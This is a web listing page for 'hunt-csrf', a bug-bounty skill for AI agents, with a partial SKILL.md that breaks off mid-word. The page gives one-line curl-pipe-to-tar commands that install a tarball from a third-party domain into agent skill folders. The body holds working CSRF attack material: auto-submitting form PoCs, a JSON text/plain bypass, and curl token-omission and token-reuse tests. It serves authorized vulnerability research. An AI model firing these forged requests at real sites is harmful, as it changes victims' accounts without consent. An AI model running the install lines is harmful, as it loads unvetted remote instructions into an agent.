hunt-csrf – Security skill for AI agents
Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitH
Install the hunt-csrf skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /hunt-csrf – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $hunt-csrf – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /hunt-csrf – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-csrf-33302.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /hunt-csrf – then describe the task you want done.
SKILL.md content
When to Use
Use when the target has any state-changing endpoint that a logged-in user can trigger — POST/PUT/DELETE on account settings, email changes, social account linking, OAuth flows, API calls, or file operations. CSRF exploits the trust a site has in a user's browser by forging cross-origin requests. Every form submission, AJAX call, OAuth callback, and API mutation is a candidate. Highest-value targets: account takeover vectors (OAuth/SSO flows, social account linking), authentication infrastructure (login CSRF, session fixation), JSON APIs accepting cross-origin POST, and third-party integrations (Grafana, monitoring dashboards).
⚠️ CRITICAL: curl ≠ browser. Model the browser security model.
CSRF PoC MUST work in a real browser, not just curl. The browser enforces rules that curl ignores:
| Browser Rule | curl Behavior | Real CSRF Impact |
|-------------|---------------|-----------------|
| SameSite=Lax | curl sends cookie anyway | Blocks cookie on cross-site POST — no CSRF |
| SameSite=Strict | curl sends cookie anyway | Blocks cookie on all cross-site requests — no CSRF |
| CORS preflight | curl skips OPTIONS | Browser blocks if Content-Type: application/json |
| Sec-Fetch-Site: cross-site | curl doesn't send | Server can reject cross-site requests via this header |
CSRF verification checklist:
1. ✅ Endpoint changes state (POST/PUT/DELETE)
2. ✅ Cookie has SameSite=None OR SameSite=Lax with GET-based action
3. ✅ No custom CSRF token/header required
4. ✅ PoC works from a different origin in a real browser
If step 2 fails (SameSite=Lax on POST endpoint) → NOT exploitable CSRF via curl alone. SameSite=Lax allows cookies on top-level navigation GET, not cross-site POST. A curl POST succeeding with the cookie is a false positive — the browser would block it.
CSRF Middleware Protection Bypass:
- Many modern web frameworks (for example, those with CSRF protection enabled by default) reject state-changing requests such as POST, PUT, or DELETE with a
403 Forbiddenresponse when the CSRF token is missing or invalid. - In some applications, if the
PATCHmethod is not covered by the same CSRF middleware or is handled differently, it may be possible to perform the same state-changing action using PATCH instead. This can result in a CSRF protection bypass if the server accepts the request without validating a CSRF token.
SameSite cheat sheet:
| Cookie Attribute | Browser sends cookie on... |
|-----------------|---------------------------|
| SameSite=None | All cross-site requests (needs Secure) |
| SameSite=Lax | Cross-site GET (top-level nav only). Blocks POST |
| SameSite=Strict | Same-site only. Blocks everything cross-site |
| Not set (default) | Treated as Lax in modern browsers |
---
Crown Jewel Targets
CSRF becomes high-value when it touches state-changing actions with account-level or financial consequences. The highest-paying targets are:
- Account takeover vectors: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
- Authentication infrastructure: Login CSRF, session fixation via CSRF, forced account association
- API endpoints accepting cross-origin POST: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
- Third-party integrations: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
- Social platforms: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact
Asset types that pay most: Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
---
Attack Surface Signals
URL Patterns
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)Response Header Signals
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous comboJS / DOM Patterns
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token fieldTech Stack Signals
- Rails apps: Look for
authenticity_token— test if it's static per session - Django apps: Check
csrfmiddlewaretoken— test cross-user/session reuse - Grafana instances: CVE-2022-21703 — check version via
/api/health - SAMLv2/OIDC flows:
RelayStateparameter rarely validated - Express/Node APIs: Often skip CSRF middleware on
/api/*routes
---
Step-by-Step Hunting Methodology
1. Map all state-changing endpoints — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
2. Check cookie SameSite attributes — In DevTools → Application → Cookies. Flag any session cookie without SameSite=Strict or Lax.
3. Test token staticness — Log in twice (different sessions or incognito). Compare authenticity_token / csrfmiddlewaretoken / csrf-token values across:
- Same session, different page loads (should be different)
- Different sessions for same user
- Different users entirely
4. Test token omission — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
5. Test token substitution — Replace the token with one from a different session. Server accepting it = broken validation.
6. Test JSON endpoints for form-POST CSRF — Check if Content-Type is enforced:
- Send
application/x-www-form-urlencodedto a JSON endpoint - Send
text/plainwith a JSON body - If accepted, HTML form can trigger it cross-origin
7. Hunt OAuth/SSO RelayState — Intercept SAML/OIDC flows. Test if RelayState is validated for same-origin. Inject external URLs.
8. Check social linking flows — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
9. Test third-party dashboards on subdomains — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
10. Build PoC HTML page — Host on a different origin, fire the request, confirm cookies are sent and action executes.
---
Payload & Detection Patterns
Basic CSRF PoC (Form POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>JSON CSRF via text/plain (bypasses Content-Type check)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<!-- browser sends: {"status":"ok","x":"=padding"} -->
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>curl: Test CSRF token omission
# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"curl: Test token reuse across sessions
# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -Eo 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-vGrep patterns for recon
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .Gra
… (full content is in the download package)
Related skills
- hunt-django – Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin…
- hunt-fastapi – Hunt FastAPI-specific vulnerabilities: dependency injection gaps, Pydantic coercion, and…
- geopandas – Guidance and local audit tools for Python workflows that directly use GeoPandas…
- security-best-practices – Perform language and framework specific security best-practice reviews and suggest…
- hunt-graphql – Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports…
- hunt-grpc – Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods)…
- domain-intel – Passive recon of subdomains, SSL certs, WHOIS, and DNS.
- security-ownership-map – Analyze git repositories to build a security ownership topology (people-to-file)…